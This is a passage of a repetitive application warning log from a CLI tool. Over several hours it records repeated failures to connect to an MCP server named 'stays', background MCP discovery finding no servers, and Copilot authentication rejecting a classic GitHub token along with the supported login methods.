Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-12 02:33:29,480 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 02:33:29,542 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 02:33:29,553 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 02:33:29,588 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 02:33:37,928 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 02:38:45,118 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 02:43:52,278 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 02:49:00,097 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 02:54:09,136 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 02:59:16,352 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 03:04:25,255 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 03:09:31,913 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 03:14:39,035 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 03:19:47,219 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 03:24:54,119 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 03:30:02,314 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 03:35:09,979 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 03:40:18,403 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 03:45:27,532 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 03:45:50,125 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-12 03:45:50,125 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-12 03:50:35,698 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 03:55:43,100 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 04:00:51,143 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 04:02:55,018 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 04:02:55,058 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 04:02:55,076 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 04:02:55,099 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 04:03:03,010 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 04:08:11,486 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 04:13:19,560 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 04:18:27,937 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 04:23:35,821 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 04:28:42,908 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 04:33:50,640 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 04:38:58,565 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 04:44:07,378 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 04:49:14,341 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 04:54:22,574 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 04:59:30,665 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 05:04:37,283 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 05:09:43,835 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 05:14:52,428 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 05:20:00,481 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 05:25:09,461 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 05:30:17,436 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 05:35:25,479 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 05:40:33,285 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 05:45:40,643 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 05:50:48,692 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 05:55:56,187 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 06:01:04,129 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 06:06:11,439 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 06:11:19,438 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 06:16:26,913 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 06:21:33,704 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 06:21:35,078 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-12 06:21:35,078 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-12 06:21:37,342 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 06:21:37,363 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 06:21:37,379 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 06:21:37,399 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 06:21:45,308 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 06:26:52,310 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 06:28:24,467 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 06:28:24,501 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 06:28:24,512 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 06:28:24,537 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 06:28:32,210 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 06:33:40,016 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 06:38:46,796 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 06:43:53,524 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 06:49:01,299 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 06:49:10,495 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 06:49:10,560 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 06:49:10,622 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 06:49:10,789 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 06:49:17,102 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 06:54:24,241 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 06:59:31,408 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 07:04:38,229 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 07:09:46,681 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 07:14:53,862 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 07:20:02,005 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 07:25:10,994 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 07:30:18,022 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 07:34:30,823 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-12 07:34:30,823 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-12 07:35:25,945 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 07:40:32,978 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 07:45:40,275 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 07:50:48,805 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 07:55:56,520 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 08:01:04,333 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 08:06:11,558 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 08:11:19,355 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 08:16:27,062 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 08:21:34,812 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 08:26:42,794 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 08:31:49,794 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 08:36:57,810 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 08:41:42,300 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-12 08:41:42,300 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-12 08:41:44,449 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 08:41:44,470 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 08:41:44,476 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 08:41:44,517 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 08:41:51,638 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 08:46:58,846 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 08:52:05,651 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 08:57:12,724 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 08:59:56,639 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 08:59:56,704 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 08:59:56,747 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 08:59:56,771 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 09:00:04,548 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 09:02:08,762 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 09:02:08,935 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 09:02:08,953 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 09:02:08,977 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 09:02:16,610 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 09:07:24,238 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 09:12:31,598 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 09:17:39,058 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 09:18:04,428 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 09:18:04,493 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 09:18:04,520 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 09:18:04,561 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 09:18:12,255 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 09:23:19,580 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 09:28:26,863 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 09:33:34,808 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 09:38:41,760 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 09:43:49,015 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 09:48:57,283 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 09:54:04,516 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 09:59:11,335 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 10:04:19,167 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 10:09:26,853 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 10:14:34,062 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 10:19:42,364 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 10:21:40,141 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-12 10:21:40,142 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-12 10:24:33,921 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 10:24:33,938 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 10:24:33,948 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 10:24:33,989 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 10:24:41,490 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 10:29:49,545 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 10:34:56,460 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 10:40:04,830 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 10:45:12,200 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 10:48:18,716 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 10:48:18,738 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 10:48:18,747 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 10:48:18,848 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 10:48:25,013 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 10:53:31,730 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 10:58:39,956 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 11:03:47,060 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 11:08:54,927 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 11:14:02,728 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 11:19:10,758 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 11:24:18,217 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 11:29:25,898 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 11:34:32,517 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 11:39:39,455 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 11:44:47,211 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 11:49:54,819 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 11:55:02,297 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 12:00:11,107 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 12:02:57,582 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-12 12:02:57,583 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-12 12:05:17,780 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 12:10:24,801 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 12:13:52,478 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 12:13:52,507 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 12:13:52,523 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 12:13:52,536 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 12:13:59,698 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 12:19:08,207 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 12:24:16,431 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 12:29:24,460 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 12:34:32,754 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 12:39:40,002 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 12:44:47,542 WARNING tools.mcp_tool: MCP server 